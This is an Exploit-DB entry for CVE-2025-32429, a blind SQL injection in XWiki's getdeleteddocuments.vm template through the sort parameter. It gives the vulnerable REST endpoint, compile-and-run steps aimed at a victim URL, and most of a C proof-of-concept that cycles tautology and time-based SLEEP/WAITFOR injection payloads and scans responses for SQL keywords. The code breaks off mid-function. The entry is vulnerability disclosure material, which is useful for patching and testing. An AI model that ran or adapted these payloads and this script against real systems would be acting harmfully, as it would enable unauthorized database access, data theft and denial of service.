Exploit-DB #52384
Description: XWiki 14 - SQL Injection via getdeleteddocuments.vm
Type: webapps
Platform: multiple
Date: 2025-07-28
Author: Byte Reaper

Exploit:
# Exploit Title: XWiki 14 - SQL Injection via getdeleteddocuments.vm
# Google Dork: N/A
# Date: 28 July 2025
# Exploit Author: Byte Reaper
# LinkedIn: N/A
# Vendor Homepage: https://www.xwiki.org
# Software Link: https://www.xwiki.org
# Version: XWiki Platform РЅц 14.x
# Tested on: XWiki Platform РЅц 14.x
# CVE: CVE-2025-32429

## Vulnerability Description

A blind SQL Injection vulnerability exists in the XWiki PlatformРђЎs `getdeleteddocuments.vm` template, specifically via the `sort` parameter. The vulnerability can be exploited by sending a crafted payload to the following REST endpoint:

```
/xwiki/rest/liveData/sources/liveTable/entries?sourceParams.template=getdeleteddocuments.vm&sort=<PAYLOAD>
```

An attacker can inject arbitrary SQL statements into the underlying database query, resulting in data exfiltration, authentication bypass, or denial of service. The vulnerability was verified on XWiki Platform versions up to 14.x using a C-based curl exploit.

## Steps to Reproduce

1. Save the provided `exploit.c` file to your local environment.
2. Compile the PoC:
   ```
   gcc -o exploit exploit.c argparse.c -lcurl
   ```
3. Execute against a vulnerable instance:
   ```
   ./exploit -u http://victim.example.com/xwiki
   ```
4. Observe response delays or injected content indicating successful SQL execution.

## Proof of Concept

- GitHub PoC: https://github.com/byteReaper77/CVE-2025-32429/blob/main/exploit.c

/*
 * Author       : Byte Reaper
 * Telegram     : @ByteReaper0
 * CVE          : CVE-2025-32429
 * Vulnerability: SQL Injection
 * Description : A vulnerability in the xwiki platform using the sort operator in the getdeletedocuments.v file, which leads to injecting malicious SQL statements into the sort= parameter.
 * ------------------------------------------------------------------------------------------------------------------------------------
 */


#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#define URL 2500
const char *yourUrl = NULL;
int verbose = 0;
int selecetCookie = 0;
const char *cookies = NULL;

void exitAssembly()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $231, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *payload[] =
{
    "' OR '1",
    " ' OR 1 -- -",
    " OR "" = ",
    "\" OR 1 = 1 -- -",
    ",(select * from (select(sleep(5)))a)",
    "%2c(select%20*%20from%20(select(sleep(5)))a)",
    "';WAITFOR DELAY '0:0:05'--",
    "AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'='",
    "AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)",
    "AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)--",
    "AS INJECTX WHERE 1=1 AND 1=0--",
    "WHERE 1=1 AND 1=1"
};
const char *word[] =
{
    "select",
    "union",
    "insert",
    "update",
    "delete",
    "drop",
    "create",
    "alter",
    "truncate",
    "replace",
    "or",
    "and",
    "not",
    "1=1",
    "1=0",
    "--",
    "#",
    "/*",
    "*/",
    "sleep",
    "benchmark",
    "load_file",
    "outfile",
    "error",
    "warning",
    "mysql",
    "pg_",
    "exec",
    "xp_",
    "admin",
    "root",
    ""
};

int numberPayload = sizeof(payload) / sizeof(payload[0]);
int numberWord = sizeof(word) / sizeof(word[0]);
char full[URL];

void injection(const char *baseUrl)
{
    CURLcode res ;
    CURL *curl = curl_easy_init();
    struct  Mem response =
    {
        NULL,
        0

    };
    if (curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        printf("\e[1;31m[-] Check Your Connection (Ping)...\e[0m\n");
        printf("\e[1;31m[-] Command : ping google.com\n");
        const char *pingCommand = "/bin/ping";
        const char *argv[]      = {"ping", "-c", "5", "google.com", NULL};
        const char *envp[]      = {NULL};
        __asm__ volatile
        (
            "mov %[argv], %%rsi\n\t"
            "mov $59, %%rax\n\t"
            "mov %[envp], %%rdx\n\t"
            "mov %[command], %%rdi\n\t"
            "syscall\n\t"
            "cmp $0, %%rax\n\t"
            "jl exitSyscall\n\t"
            "exitSyscall:\n\t"
            "mov $0x3C, %%rax\n\t"
            "xor %%rdi, %%rdi\n\t"
            "syscall\n\t"
            ".2:\n\t"
            :
            : [argv] "r" (argv),
              [envp] "r" (envp),
              [command] "r" (pingCommand)
            : "rax",
              "rdi",
              "rsi",
              "rdx"
        );
    }

    response.buffer = NULL;
    response.len = 0;
    if (verbose)
    {
        printf("\e[1;35m==========================================\e[0m\n");
        printf("\e[1;33m[+] Cleaning Response...\e[0m\n");
        printf("\e[1;33m[+] Response Buffer : %s\e[0m\n",response.buffer);
        printf("\e[1;33m[+] Response Len : %d\e[0m\n",response.len);
        printf("\e[1;35m==========================================\e[0m\n");
    }

    if (curl)
    {
        int n = 0;
        for (int p = 0; p < numberPayload; p++)
        {
            char *encodePayload = curl_easy_escape(curl,
                                                   payload[p],
                                                   0);
            if (!e